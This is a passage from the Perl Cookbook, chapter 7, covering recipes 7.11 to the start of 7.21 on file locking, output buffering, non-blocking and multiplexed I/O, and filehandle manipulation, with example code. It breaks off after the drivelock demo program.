Previous: 7.9. Modifying a File in Place with -i Switch | Perl Cookbook | Next: 7.11. Locking a File
7.9. Modifying a File in Place with -i Switch | Book Index | 7.11. Locking a File


Recipe 7.11. Locking a File

Perl CookbookSearch this book

7.11. Locking a File

Problem

Many processes need to update the same file simultaneously.

Solution

Have all processes honor advisory locking by using flock:

open(FH, "+< $path")                or die "can't open $path: $!";
flock(FH, 2)                        or die "can't flock $path: $!";
# update file, then...
close(FH)                           or die "can't close $path: $!";

Discussion

Operating systems vary greatly in the type and reliability of locking techniques available. Perl tries hard to give you something that works, even if your operating system uses its own underlying technique. The flock function takes two arguments: a filehandle and a number representing what to do with the lock on that filehandle. The numbers are normally represented by names like LOCK_EX, which you can get from the Fcntl or IO::File modules.

The LOCK_SH, LOCK_EX, LOCK_UN, and LOCK_NB symbolic values were not available in the Fcntl module before the 5.004 release, and even now they are available only if you ask for them specifically using the :flock tag. Their values are 1, 2, 4, and 8 respectively, which you may supply yourself instead of using the symbolic constants. You'll therefore often see people write:

sub LOCK_SH()  { 1 }     #  Shared lock (for reading)
sub LOCK_EX()  { 2 }     #  Exclusive lock (for writing)
sub LOCK_NB()  { 4 }     #  Non-blocking request (don't stall)
sub LOCK_UN()  { 8 }     #  Free the lock (careful!)

Locks come in two varieties: shared and exclusive. Despite what you might infer by "exclusive," processes aren't required to obey locks on files. Another way of saying this is that flock implements advisory locking. It allows processes to let the operating system suspend would-be writers of a file until any readers are finished with it.

Flocking files is like putting up a stoplight at an intersection. It works only if people pay attention to whether the light is red or green - or yellow in the case of a shared lock. The red light doesn't stop traffic; it merely signals that traffic should stop. A desperate, ignorant, or rude person will still go flying through the intersection no matter what the light says. Likewise, flock only blocks out other flockers - not processes trying to do I/O. Unless everyone is polite, accidents can (and will) happen.

The polite process customarily indicates its intent to read from the file by requesting a LOCK_SH. Many processes can have simultaneous shared locks on the file because they (presumably) won't be changing the data. If a process intends to write to the file, it should request an exclusive lock via LOCK_EX. The operating system then suspends the requesting process until all other processes have released their locks, at which point it grants the lock to the suspended process and unblocks it. You are guaranteed that no other process will be able to run flock(FH, LOCK_EX) on the same file while you hold the lock. This is almost but not quite like saying that there can be only one exclusive lock on the file. Forked children inherit not only their parents' open files, but, on some systems, also any locks held. That means if you hold an exclusive lock and fork without execing, your child may also have that same exclusive lock on the file.

The flock function is therefore by default a blocking operation. You can also acquire a lock without wedging your process by using the LOCK_NB flag when you request a lock. This lets you warn the user that there may be a wait until other processes with locks are done:

unless (flock(FH, LOCK_EX|LOCK_NB)) {
    warn "can't immediately write-lock the file ($!), blocking ...";
    unless (flock(FH, LOCK_EX)) {
        die "can't get write-lock on numfile: $!";
    }
}

If you use LOCK_NB and are refused a LOCK_SH, then you know that someone else has a LOCK_EX and is updating the file. If you are refused a LOCK_EX, then someone holds either a LOCK_SH or a LOCK_EX, so you shouldn't try to update the file.

Locks dissolve when the file is closed, which may not be until your process exits. Manually unlocking the file without closing can be perilous due to buffering. The buffer might not have been flushed, leading to a time between unlocking and closing when another process could read data that the contents of your buffer were supposed to replace. A safer way to deal with this is:

if ($] < 5.004) {                   # test Perl version number
     my $old_fh = select(FH);
     local $| = 1;                  # enable command buffering
     local $\ = '';                 # clear output record separator
     print "";                      # trigger output flush
     select($old_fh);               # restore previous filehandle
}
flock(FH, LOCK_UN);

Before version 5.004 of Perl, you had to force a flush. Because folks would often forget to do that, 5.004 changed LOCK_UN so that any pending unwritten buffers are automatically flushed right before the lock is released.

Here's how you increment a number in a file, using flock:

use Fcntl qw(:DEFAULT :flock);

sysopen(FH, "numfile", O_RDWR|O_CREAT)
                                    or die "can't open numfile: $!";
flock(FH, LOCK_EX)                  or die "can't write-lock numfile: $!";
# Now we have acquired the lock, it's safe for I/O
$num = <FH> || 0;                   # DO NOT USE "or" THERE!!
seek(FH, 0, 0)                      or die "can't rewind numfile : $!";
truncate(FH, 0)                     or die "can't truncate numfile: $!";
print FH $num+1, "\n"               or die "can't write numfile: $!";
close(FH)                           or die "can't close numfile: $!";

Closing the filehandle flushes the buffers and unlocks the file. The truncate function is discussed in Chapter 8.

File locking is not as easy as you might think - or wish. Because locks are advisory, if one process uses locking and another doesn't, all bets are off. Never use the existence of a file as a locking indication because there exists a race condition between the test for the existence of the file and its creation. Furthermore, because file locking is an intrinsically stateful concept, it doesn't get along well with the stateless model embraced by network filesystems such as NFS. Although some vendors claim that fcntl addresses such matters, practical experience suggests otherwise.

NFS locking intimately involves both server and client. Consequently, we know of no general mechanism for guaranteed reliable locking over NFS. You can do it if you know certain operations are atomic in the server or client implementation. You can do it if you know that both server and client support flock or fcntl ; most don't. But in general you can't hope to write code that works everywhere.

Don't confuse Perl's flock with the SysV function lockf. Unlike lockf, flock locks entire files at once. Perl doesn't support lockf directly. The only way to lock a portion of a file is to use the fnctl function, as demonstrated in the lockarea program at the end of this chapter.

See Also

The flock and fcntl functions in perlfunc (1) and in Chapter 3 of Programming Perl; the documentation for the standard Fcntl and DB_File modules (also in Chapter 7 of Programming Perl); Recipe 7.21; Recipe 7.22

Previous: 7.10. Modifying a File in Place Without a Temporary File | Perl Cookbook | Next: 7.12. Flushing Output
7.10. Modifying a File in Place Without a Temporary File | Book Index | 7.12. Flushing Output


Recipe 7.12. Flushing Output

Perl CookbookSearch this book

7.12. Flushing Output

Problem

When printing to a filehandle, output doesn't appear immediately. This is a problem in CGI scripts running on some programmer-hostile web servers where, if the web server sees warnings from Perl before it sees the (buffered) output of your script, it sends the browser an uninformative 500 Server Error. These buffering problems arise with concurrent access to files by multiple programs and when talking with devices or sockets.

Solution

Disable buffering by setting the per-filehandle variable $| to a true value, customarily 1:

$old_fh = select(OUTPUT_HANDLE);
$| = 1;
select($old_fh);

Or, if you don't mind the expense, disable it by calling the autoflush method from the IO modules:

use IO::Handle;
OUTPUT_HANDLE->autoflush(1);

Discussion

In most stdio implementations, buffering varies with the type of output device. Disk files are block buffered, often with a buffer size of more than 2K. Pipes and sockets are often buffered with a buffer size between 1/2 and 2K. Serial devices, including terminals, modems, mice, and joysticks, are normally line-buffered; stdio sends the entire line out only when it gets the newline.

Perl's print function does not support truly unbuffered output - a physical write for each individual character. Instead, it supports command buffering, in which one physical write is made after every separate output command. This isn't as hard on your system as no buffering at all, and it still gets the output where you want it, when you want it.

Control output buffering through the $| special variable. Enable command buffering by setting it to a true value. It has no effect upon input; see Recipes Recipe 15.6 and Recipe 15.8 for unbuffered input. Set this variable to a false value to use default stdio buffering. Example 7.6 illustrates the difference.

Example 7.6: seeme

#!/usr/bin/perl -w
# seeme - demo stdio output buffering
$| = (@ARGV > 0);      # command buffered if arguments given
print "Now you don't see it...";
sleep 2;
print "now you do\n";

If you call this program with no arguments, STDOUT is not command buffered. Your terminal (console, window, telnet session, whatever) doesn't receive output until the entire line is completed, so you see nothing for two seconds and then get the full line "Now you don't see it ... now you do". If you call the program with at least one argument, STDOUT is command buffered. That means you first see "Now you don't see it...", and then after two seconds you finally see "now you do".

The dubious quest for increasingly compact code has led programmers to use the return value of select, the filehandle that was currently selected, as part of the second select:

    select((select(OUTPUT_HANDLE), $| = 1)[0]);

There's another way. The FileHandle and IO modules provide a class method called autoflush. Call it with true or false values (the default value is true) to control autoflushing on a particular output handle:

use FileHandle;

STDERR->autoflush;          # already unbuffered in stdio
$filehandle->autoflush(0);

If you're willing to accept the oddities of indirect object notation covered in Chapter 13, Classes, Objects, and Ties, you can even write something reasonably close to English:

use IO::Handle;
# assume REMOTE_CONN is an interactive socket handle,
# but DISK_FILE is a handle to a regular file.
autoflush REMOTE_CONN  1;           # unbuffer for clarity
autoflush DISK_FILE    0;           # buffer this for speed

This avoids the bizarre select business, and makes your code much more readable. Unfortunately, your program takes longer to compile because you're now including the IO::Handle module, so thousands and thousands of lines must first be read and compiled. Learn to manipulate $| directly, and you'll be happy.

To ensure that your output gets where you want it, when you want it, buffer flushing is important. It's particularly important with sockets, pipes, and devices, because you may be trying to do interactive I/O with these - more so, in fact, because you can't assume line-buffering. Consider the program in Example 7.7.

Example 7.7: getpcomidx

#!/usr/bin/perl
# getpcomidx - fetch www.perl.com's index.html document
use IO::Socket;
$sock = new IO::Socket::INET (PeerAddr => 'www.perl.com',
                              PeerPort => 'http(80)');
die "Couldn't create socket: $@" unless $sock;
# the library doesn't support $! setting; it uses $@

$sock->autoflush(1);

# Mac *must* have \015\012\015\012 instead of \n\n here.
# It's a good idea for others, too, as that's the spec,
# but implementations are encouraged to accept "\cJ\cJ" too,
# and as far as we've seen, they do.
$sock->print("GET /index.html http/1.1\n\n");
$document = join('', $sock->getlines());
print "DOC IS: $document\n";

There's no way to control input buffering using any kind of flushing discussed so far. For that, you need to see Recipes Recipe 15.6 and Recipe 15.8.

See Also

The $| entry in perlvar (1), and in the "Special Variables" section of Chapter 2 of Programming Perl; the documentation for the standard FileHandle and IO::Handle modules (also in Chapter 7 of Programming Perl ); the select function in perlfunc (1) and in Chapter 3 of Programming Perl

Previous: 7.11. Locking a File | Perl Cookbook | Next: 7.13. Reading from Many Filehandles Without Blocking
7.11. Locking a File | Book Index | 7.13. Reading from Many Filehandles Without Blocking


Recipe 7.13. Reading from Many Filehandles Without Blocking

Perl CookbookSearch this book

7.13. Reading from Many Filehandles Without Blocking

Problem

You want to learn whether input is available to be read, rather than blocking for input as < > does. This is useful when reading from pipes, sockets, devices, and other programs.

Solution

Use select with a timeout value of 0 seconds, if you're comfortable with manipulating bit-vectors representing file descriptor sets:

$rin = '';
# repeat next line for all filehandles to poll
vec($rin, fileno(FH1), 1) = 1;
vec($rin, fileno(FH2), 1) = 1;
vec($rin, fileno(FH3), 1) = 1;

$nfound = select($rout=$rin, undef, undef, 0);
if ($nfound) {
  # input waiting on one or more of those 3 filehandles
  if (vec($rout,fileno(FH1),1)) {
      # do something with FH1
  }
  if (vec($rout,fileno(FH2),1)) {
      # do something with FH2
  }
  if (vec($rout,fileno(FH3),1)) {
      # do something with FH3
  }
}

The IO::Select module provides an abstraction to hide the bit-vector operations:

use IO::Select;

$select = IO::Select->new();
# repeat next line for all filehandles to poll
$select->add(*FILEHANDLE);
if (@ready = $select->can_read(0)) {
    # input waiting on the filehandles in @ready
}

Discussion

The select function is really two functions in one. If you call it with one argument, you change the current default output filehandle (see Recipe 7.12). If you call it with four arguments, it tells you which filehandles have input waiting or are ready to receive output. This recipe only deals with four-argument select.

The first three arguments to select are strings containing bit-vectors. Each bit-vector represents a set of file descriptors to inspect for pending input, pending output, and pending expedited data (like out-of-band or urgent data on a socket), respectively. The final argument is the timeout - how long select should spend waiting for status to change. A timeout value of 0 indicates a poll. Timeout can also be a floating-point number of seconds, or undef to wait (block) until status changes:

$rin = '';
vec($rin, fileno(FILEHANDLE), 1) = 1;
$nfound = select($rin, undef, undef, 0);    # just check
if ($nfound) {
    $line = <FILEHANDLE>;
    print "I read $line";
}

This code isn't perfect, though. If someone connects and sends a character but never sends a newline, your program will block in the <FILE>. We get around this by reading characters one at a time and processing completed lines when we read a "\n". This removes the need for the blocking <FILE> call. Another solution (if you're not testing files) is detailed in Recipe 7.15.

The IO::Select module hides the bit-vectors from you. IO::Select->new() returns a new object on which you call the add method to add one or more filehandles to the set. When you've added all the filehandles you are interested in, call can_read, can_write, or has_exception. These functions return a list of filehandles you can safely read from, write to, or that have unread exceptional data (TCP out-of-band data, for example).

Don't mix calls to four-argument select with calls to any of the buffered I/O functions listed in this chapter's Introduction (read, <>, seek, tell, etc.). Instead, you must use sysread - and sysseek if you want to reposition the filehandle within the file.

If you want to read whatever is available on a socket or pipe and return immediately, see Recipe 7.14. If you're trying to do non-blocking reads on a terminal, see Recipes Recipe 15.6 and Recipe 15.8.

See Also

The select function in perlfunc (1) and in Chapter 3 of Programming Perl; the documentation for the standard module IO::Select; Recipe 7.14

Previous: 7.12. Flushing Output | Perl Cookbook | Next: 7.14. Doing Non-Blocking I/O
7.12. Flushing Output | Book Index | 7.14. Doing Non-Blocking I/O


Recipe 7.14. Doing Non-Blocking I/O

Perl CookbookSearch this book

7.14. Doing Non-Blocking I/O

Problem

You want to read from or write to a filehandle without the system blocking your process until the program, file, socket, or device at the other end is ready. This is desired less often of regular files than of special files.

Solution

Open the file with sysopen, and specify the O_NONBLOCK option:

use Fcntl;

sysopen(MODEM, "/dev/cua0", O_NONBLOCK|O_RDWR)
    or die "Can't open modem: $!\n";

If you already have a filehandle, use fcntl to change the flags:

use Fcntl;

$flags = '';
fcntl(HANDLE, F_GETFL, $flags)
    or die "Couldn't get flags for HANDLE : $!\n";
$flags |= O_NONBLOCK;
fcntl(HANDLE, F_SETFL, $flags)
    or die "Couldn't set flags for HANDLE: $!\n";

Once a filehandle is set for non-blocking I/O, the sysread or syswrite calls that would block will instead return undef and set $! to EAGAIN:

use POSIX qw(:errno_h);

$rv = syswrite(HANDLE, $buffer, length $buffer);
if (!defined($rv) && $! == EAGAIN) {
    # would block
} elsif ($rv != length $buffer) {
    # incomplete write
} else {
    # successfully wrote
}

$rv = sysread(HANDLE, $buffer, $BUFSIZ);
if (!defined($rv) && $! == EAGAIN) {
    # would block
} else {
    # successfully read $rv bytes from HANDLE
}

Discussion

The O_NONBLOCK constant is part of the POSIX standard, so most machines should support it. We use the POSIX module to get the numeric value for the error EAGAIN.

See Also

The sysopen and fcntl functions in perlfunc (1) and in Chapter 3 of Programming Perl; the documentation for the standard POSIX module; your system's open (2) and fcntl (2) manpages; Recipe 7.13; Recipe 7.15

Previous: 7.13. Reading from Many Filehandles Without Blocking | Perl Cookbook | Next: 7.15. Determining the Number of Bytes to Read
7.13. Reading from Many Filehandles Without Blocking | Book Index | 7.15. Determining the Number of Bytes to Read


Recipe 7.15. Determining the Number of Bytes to Read

Perl CookbookSearch this book

7.15. Determining the Number of Bytes to Read

Problem

You want to know how many bytes to read from a filehandle with read or sysread.

Solution

Use the FIONREAD ioctl call:

$size = pack("L", 0);
ioctl(FH, $FIONREAD, $size)     or die "Couldn't call ioctl: $!\n";
$size = unpack("L", $size);

# $size bytes can be read

Discussion

The Perl ioctl function is a direct interface to the operating system's ioctl (2) system call. If your system doesn't have the FIONREAD request or the ioctl (2) call, you can't use this recipe. FIONREAD and the other ioctl (2) requests are numeric values normally found lurking C include files.

Perl's h2ph tool tries to convert C include files to Perl code, which can be required. FIONREAD ends up defined as a function in the sys/ioctl.ph file:

require 'sys/ioctl.ph';

$size = pack("L", 0);
ioctl(FH, FIONREAD(), $size)    or die "Couldn't call ioctl: $!\n";
$size = unpack("L", $size);

If h2ph wasn't installed or doesn't work for you, you can manually grep the include files:

% grep FIONREAD /usr/include/*/*
/usr/include/asm/ioctls.h:#define FIONREAD      0x541B

Or write a small C program using the editor of champions:

% cat > fionread.c
#include <sys/ioctl.h>
main() {
    printf("%#08x\n", FIONREAD);
}
^D
% cc -o fionread fionread
% ./fionread
0x4004667f

Then hard-code it, leaving porting as an exercise to your successor.

$FIONREAD = 0x4004667f;         # XXX: opsys dependent

$size = pack("L", 0);
ioctl(FH, $FIONREAD, $size)     or die "Couldn't call ioctl: $!\n";
$size = unpack("L", $size);

FIONREAD requires a filehandle connected to a stream, which means sockets, pipes, and tty devices work, but files don't.

If this is too much system programming for you, try to think outside the problem. Read from the filehandle in non-blocking mode (see Recipe 7.14). If you manage to read something, then that's how much was waiting to be read. If you couldn't read anything, there was nothing to be read.

See Also

Recipe 7.14; your system's ioctl (2) manpage; the ioctl function in perlfunc (1) and in Chapter 3 of Programming Perl

Previous: 7.14. Doing Non-Blocking I/O | Perl Cookbook | Next: 7.16. Storing Filehandles in Variables
7.14. Doing Non-Blocking I/O | Book Index | 7.16. Storing Filehandles in Variables


Recipe 7.16. Storing Filehandles in Variables

Perl CookbookSearch this book

7.16. Storing Filehandles in Variables

Problem

You want to use a filehandle like a normal variable so you can pass it to or return it from a function, store it in a data structure, and so on.

Solution

If you already have a regular symbolic filehandle like STDIN or LOGFILE, use the typeglob notation, *FH. This is the most efficient approach.

$variable = *FILEHANDLE;        # save in variable
subroutine(*FILEHANDLE);        # or pass directly

sub subroutine {
    my $fh = shift;
    print $fh "Hello, filehandle!\n";
}

If you want anonymous filehandles, see the return_fh function below, or use the new method from the IO::File or IO::Handle module, store that in a scalar variable, and use it as though it were a normal filehandle:

use FileHandle;                   # make anon filehandle
$fh = FileHandle->new();

use IO::File;                     # 5.004 or higher
$fh = IO::File->new();

Discussion

You have many choices for passing filehandles into a subroutine or storing them in a data structure. The simplest and fastest way is through the typeglob notation, *FH. It may help you to conceptualize the asterisk as the type symbol for a filehandle. Like the little colored balls from high school chemistry that stood for atomic particles, it's not really true, but it is a convenient mental shorthand. By the time you understand where this model breaks down, you won't need it anymore.

That works cleanly for simple things, but what if you wanted to make an array of filehandles whose names you didn't know? As shown in Chapter 11, References and Records, generating anonymous arrays, hashes, and even functions on the fly can prove extremely convenient. It would be nice to be able to do the same with filehandles. That's where the IO modules come in.

You can generate an anonymous handle with the IO::Handle or IO::File module's new method. This returns a filehandle you can pass to subroutines, store in arrays, and use however you would use a named filehandle's typeglob - plus more. You can also use those modules as object classes for inheritance purposes because the return values from the new constructor are fully fledged objects, complete with available method calls.

You can use these as indirect filehandles, which saves you the trouble of thinking up filehandle names. Instead, you think up names to store the anonymous filehandles in.

To capture the typeglob from a named filehandle, prefix it with *:

$fh_a = IO::File->new("< /etc/motd")    or die "open /etc/motd: $!";
$fh_b = *STDIN;
some_sub($fh_a, $fh_b);

This isn't the only way, but it is the simplest and most convenient. Its only limitation is that you can't bless it to turn it into an object. To do this, you must bless a reference to a typeglob - that's what IO::Handle does. Like typeglobs, references to typeglobs can be safely used as indirect filehandles, whether blessed or not.

To create and return a new filehandle from a function, do this:

sub return_fh {             # make anon filehandle
    local *FH;              # must be local, not my
    # now open it if you want to, then...
    return *FH;
}

$handle = return_fh();

A subroutine accepting a filehandle argument can either store the argument into a (preferably lexical) variable and use that as an indirect filehandle:

sub accept_fh {
    my $fh = shift;
    print $fh "Sending to indirect filehandle\n";
}

or it can localize a typeglob and use the filehandle directly:

sub accept_fh {
    local *FH = shift;
    print  FH "Sending to localized filehandle\n";
}

Both styles work with either IO::Handle objects or typeglobs of real filehandles:

accept_fh(*STDOUT);
accept_fh($handle);

Perl accepts many things as indirect filehandles (strings, typeglobs, and references to typeglobs), but unless you pass typeglobs or IO::Handle objects you may run into trouble. Strings ("LOGFILE" instead of *LOGFILE) require special finessing to work between packages, and references to typeglobs can't be usefully returned from functions.

In the preceding examples, we assigned the filehandle to a scalar variable before using it. That is because only simple scalar variables, not expressions or subscripts into hashes or arrays, can be used with built-ins like print, printf, or the diamond operator. These are illegal and won't even compile:

@fd = (*STDIN, *STDOUT, *STDERR);
print $fd[1] "Type it: ";                           # WRONG
$got = <$fd[0]>                                     # WRONG
print $fd[2] "What was that: $got";                 # WRONG

With print and printf, you get around this by using a block and an expression where you would place the filehandle:

print  { $fd[1] } "funny stuff\n";
printf { $fd[1] } "Pity the poor %x.\n", 3_735_928_559;
Pity the poor deadbeef.

That block is a proper block, so you can put more complicated code there. This sends the message out to one of two places:

$ok = -x "/bin/cat";
print { $ok ? $fd[1] : $fd[2] } "cat stat $ok\n";
print { $fd[ 1 + ($ok || 0) ]  } "cat stat $ok\n";

This approach of treating print and printf like object methods calls doesn't work for the diamond operator, because it's a real operator, not just a function with a comma-less argument. Assuming you've been storing typeglobs in your structure as we did above, you can use the built-in function named readline to read a record just as <FH> does. Given the preceding initialization of @fd, this would work:

$got = readline($fd[0]);

See Also

The open function in perlfunc (1) and in Chapter 3 of Programming Perl; Recipe 7.1; the documentation with the standard FileHandle module (also in Chapter 7 of Programming Perl); the "Typeglobs and Filehandles" section of Chapter 2 of Programming Perl and Chapter 2 of Programming Perl

Previous: 7.15. Determining the Number of Bytes to Read | Perl Cookbook | Next: 7.17. Caching Open Output Filehandles
7.15. Determining the Number of Bytes to Read | Book Index | 7.17. Caching Open Output Filehandles


Recipe 7.17. Caching Open Output Filehandles

Perl CookbookSearch this book

7.17. Caching Open Output Filehandles

Problem

You need more output files open simultaneously than your system allows.

Solution

Use the standard FileCache module:

use FileCache;
cacheout ($path);         # each time you use a filehandle
print $path "output";

Discussion

FileCache's cacheout function lets you work with more output files than your operating system lets you have open at any one time. If you use it to open an existing file that FileCache is seeing for the first time, the file is truncated to length zero, no questions asked. However, in its opening and closing of files in the background, cacheout tracks the files it has opened before and does not overwrite them, but appends to them instead. This does not create directories for you, so if you give it /usr/local/dates/merino.ewe to open but the directory /usr/local/dates doesn't exist, cacheout will die.

The cacheout() function checks the value of the C-level constant NOFILE from the standard system include file sys/param.h to determine how many concurrently open files are allowed on your system. This value can be incorrect on some systems and even missing on a few (for instance, on those where the maximum number of open file descriptors is a process resource limit that can be set with the limit or ulimit commands). If cacheout() can't get a value for NOFILE, just set $FileCache::maxopen to be four less than the correct value, or choose a reasonable number by trial and error.

Example 7.8 splits an xferlog file created by the popular wuftpd FTP server into files named after the authenticated user. The fields in xferlog files are space-separated, and the fourth from last field is the authenticated username.

Example 7.8: splitwulog

#!/usr/bin/perl
# splitwulog - split wuftpd log by authenticated user
use FileCache;
$outdir = '/var/log/ftp/by-user';
while (<>) {
    unless (defined ($user = (split)[-4])) {
       warn "Invalid line: $.\n";
       next;
    }
    $path = "$outdir/$user";
    cacheout $path;
    print $path $_;
}

See Also

Documentation for the standard FileCache module (also in Chapter 7 of Programming Perl); the open function in perlfunc (1) and in Chapter 3 of Programming Perl

Previous: 7.16. Storing Filehandles in Variables | Perl Cookbook | Next: 7.18. Printing to Many Filehandles Simultaneously
7.16. Storing Filehandles in Variables | Book Index | 7.18. Printing to Many Filehandles Simultaneously


Recipe 7.18. Printing to Many Filehandles Simultaneously

Perl CookbookSearch this book

7.18. Printing to Many Filehandles Simultaneously

Problem

You need to output the same data to several different filehandles.

Solution

If you want to do it without forking, write a foreach loop that iterates across the filehandles:

foreach $filehandle (@FILEHANDLES) {
    print $filehandle $stuff_to_print;
}

If you don't mind forking, open a filehandle that's a pipe to a tee program:

open(MANY, "| tee file1 file2 file3 > /dev/null")   or die $!;
print MANY "data\n"                                 or die $!;
close(MANY)                                         or die $!;

Discussion

A filehandle sends output to one file or program only. To duplicate output to several places, you must call print multiple times or make a filehandle connected to a program like tee, which distributes its input elsewhere. If you use the first option, it's probably easiest to put the filehandles in a list or array and loop through them:

# `use strict' complains about this one:
for $fh ('FH1', 'FH2', 'FH3')   { print $fh "whatever\n" }
# but not this one:
for $fh (*FH1, *FH2, *FH3)      { print $fh "whatever\n" }

However, if your system supports the tee program, or if you've installed the Perl version from Recipe 8.19, you may open a pipe to tee and let it do the work of copying the file to several places. Remember that tee normally also copies its output to STDOUT, so you must redirect tee 's standard output to /dev/null if you don't want an extra copy:

open (FH, "| tee file1 file2 file3 >/dev/null");
print FH "whatever\n";

You could even redirect your own STDOUT to the tee process, and then you're able to use a regular print directly:

# make STDOUT go to three files, plus original STDOUT
open (STDOUT, "| tee file1 file2 file3") or die "Teeing off: $!\n";
print "whatever\n"                       or die "Writing: $!\n";
close(STDOUT)                            or die "Closing: $!\n";

See Also

The print function in perlfunc (1) and in Chapter 3 of Programming Perl; the "Typeglobs and Filehandles" sections of Chapter 2 of Programming Perl and Chapter 2 of Programming Perl; we use this technique in Recipe 8.19 and Recipe 13.15

Previous: 7.17. Caching Open Output Filehandles | Perl Cookbook | Next: 7.19. Opening and Closing File Descriptors by Number
7.17. Caching Open Output Filehandles | Book Index | 7.19. Opening and Closing File Descriptors by Number


Recipe 7.19. Opening and Closing File Descriptors by Number

Perl CookbookSearch this book

7.19. Opening and Closing File Descriptors by Number

Problem

You know which file descriptors you'd like to do I/O on, but Perl requires filehandles, not descriptor numbers.

Solution

To open the file descriptor, use the "<&=" or "<&" open modes or the IO::Handle module's fdopen class method:

open(FH, "<&=$FDNUM");      # open FH to the descriptor itself
open(FH, "<&$FDNUM");       # open FH to a copy of the descriptor

use IO::Handle;

$fh->fdopen($FDNUM, "r");   # open file descriptor 3 for reading

To close one by number, either use the POSIX::close function or else first open it as we did previously.

Discussion

Occasionally you have a file descriptor but no filehandle. Perl's I/O system uses filehandles instead of file descriptors, so you have to make a new filehandle for an already open file descriptor. The "<&", ">&", and "+<&" modes to open will do this for reading, writing, and updating respectively. Adding an equal sign to these to make "<&=", ">&=", and "+<&=" is more parsimonious of file descriptors and nearly always what you want to do. That's because it used only a C-level fdopen function, not a dup2 system call.

If you have version 5.004 or better installed, you can use the IO::Handle object method. This is the same as:

use IO::Handle;
$fh = IO::Handle->new();

$fh->fdopen(3, "r");            # open fd 3 for reading

Closing a file descriptor by number is even rarer. The POSIX::close function does so directly. If your system doesn't have a working POSIX library but does have a working syscall (and your sysadmin has installed the sys/syscall.ph file created with the h2ph translator), you can call the not very portable syscall function. It has peculiar parameters and return values: You have to add 0 to numbers and append the empty string ("") to strings to coerce them to the right types for C, and the error return value is -1 rather than false as in other Perl calls. Needless to say, use syscall only as a last resort.

Here's how you'd open the file descriptors that the MH mail system feeds its child processes. It identifies them in the environment variable MHCONTEXTFD:

$fd = $ENV{MHCONTEXTFD};
open(MHCONTEXT, "<&=$fd")   or die "couldn't fdopen $fd: $!";
# after processing
close(MHCONTEXT)            or die "couldn't close context file: $!";

If you want to close a descriptor by number, just open it first.

See Also

The open function in perlfunc (1) and in Chapter 3 of Programming Perl; the documentation for the standard POSIX and IO::Handle modules (also in Chapter 7 of Programming Perl); your system's fdopen (3) manpages

Previous: 7.18. Printing to Many Filehandles Simultaneously | Perl Cookbook | Next: 7.20. Copying Filehandles
7.18. Printing to Many Filehandles Simultaneously | Book Index | 7.20. Copying Filehandles


Recipe 7.20. Copying Filehandles

Perl CookbookSearch this book

7.20. Copying Filehandles

Problem

You want to make a copy of a filehandle.

Solution

To create an alias for a filehandle, say:

*ALIAS = *ORIGINAL;

Use open with the & mode to create an independent copy of the file descriptor for the filehandle:

open(OUTCOPY, ">&STDOUT")   or die "Couldn't dup STDOUT: $!";
open(INCOPY,  "<&STDIN" )   or die "Couldn't dup STDIN : $!";

Use open with the &= mode to create an alias for that filehandle's file descriptor:

open(OUTALIAS, ">&=STDOUT") or die "Couldn't alias STDOUT: $!";
open(INALIAS,  "<&=STDIN")  or die "Couldn't alias STDIN : $!";
open(BYNUMBER, ">&=5")      or die "Couldn't alias file descriptor 5: $!";

Discussion

If you create an alias for a filehandle with typeglobs, only one Perl I/O object is still being accessed. If you close one of these aliased filehandles, the I/O object is closed. Any subsequent attempt to use a copy of that filehandle will give you an error like "print on closed filehandle". When alternating access through the aliased filehandles, writes work as you'd expect because there's no duplicated stdio data structure to get out of sync.

If you create a copy of a file descriptor with open(COPY, ">&HANDLE"), you're really calling the dup (2) system call. You get two independent file descriptors whose file position, locks, and flags are shared, but which have independent stdio buffers. Closing one filehandle doesn't affect its copy. Simultaneously accessing the file through both filehandles is a recipe for disaster. Instead, this technique is normally used to save and restore STDOUT and STDERR:

# take copies of the file descriptors
open(OLDOUT, ">&STDOUT");
open(OLDERR, ">&STDERR");

# redirect stdout and stderr
open(STDOUT, "> /tmp/program.out")  or die "Can't redirect stdout: $!";
open(STDERR, ">&STDOUT")            or die "Can't dup stdout: $!";

# run the program
system($joe_random_program);

# close the redirected filehandles
close(STDOUT)                       or die "Can't close STDOUT: $!";
close(STDERR)                       or die "Can't close STDERR: $!";

# restore stdout and stderr
open(STDERR, ">&OLDERR")            or die "Can't restore stderr: $!";
open(STDOUT, ">&OLDOUT")            or die "Can't restore stdout: $!";

# avoid leaks by closing the independent copies
close(OLDOUT)                       or die "Can't close OLDOUT: $!";
close(OLDERR)                       or die "Can't close OLDERR: $!";

If you create an alias of a file descriptor using open(ALIAS, ">&=HANDLE"), you're really calling the fdopen (3) stdio function. You get a single file descriptor with two stdio buffers accessed through two filehandles. Closing one filehandle closes the file descriptor of any aliases, but not their filehandles - if you tried to print to a filehandle whose alias had been closed, Perl wouldn't give a "print on closed filehandle warning" even though the print didn't succeed. In short, accessing the file through both filehandles is also a recipe for disaster. This is really used only to open a file descriptor by number. See Recipe 7.19 for more information on this.

See Also

The open function in perlfunc (1) and in Chapter 3 of Programming Perl; your system's dup (2) manpage

Previous: 7.19. Opening and Closing File Descriptors by Number | Perl Cookbook | Next: 7.21. Program: netlock
7.19. Opening and Closing File Descriptors by Number | Book Index | 7.21. Program: netlock


Recipe 7.21. Program: netlock

Perl CookbookSearch this book

7.21. Program: netlock

When locking files, we recommend that you use flock when possible. However, on some systems, flock's locking strategy is not reliable. For example, the person who built Perl on your system configured flock to use a version of file locking that didn't even try to work over the Net, or you're on the increasingly rare system where no flock emulation exists at all.

The following program and module provide a basic implementation of a file locking mechanism. Unlike a normal flock, with this module you lock file names, not file descriptors.

Thus, you can use it to lock directories, domain sockets, and other non-regular files. You can even lock files that don't exist yet. It uses a directory created at the same level in the directory structure as the locked file, so you must be able to write to the enclosing directory of the file you wish to lock. A sentinel file within the lock directory contains the owner of the lock. This is also useful with Recipe 7.8, because you can lock the filename even though the file that has that name changes.

The nflock function takes one or two arguments. The first is the pathname to lock; the second is the optional amount of time to wait for the lock. The function returns true if the lock is granted, false if the timeout expired, and raises an exception should various improbable events occur, like being unable to write the directory.

Set the $File::LockDir::Debug variable to true to make the module emit messages if it stalls waiting for a lock. If you forget to free a lock and try to exit the program, the module will remove them for you. This won't happen if your program is sent a signal it doesn't trap.

Example 7.9 shows a driver program to demonstrate the File::LockDir module.

Example 7.9: drivelock

#!/usr/bin/perl -w
# drivelock - demo File::LockDir module
use strict;
use File::LockDir;
$SIG{INT} = sub { die "outta here\n" };
$File::LockDir::Debug = 1;
my $path = shift                            or die "usage: $0 <path>\n";
unless (nflock($path, 2)) {
    die "couldn't lock $path in 2 seconds\n";
}
sleep 100;
nunflock($path);

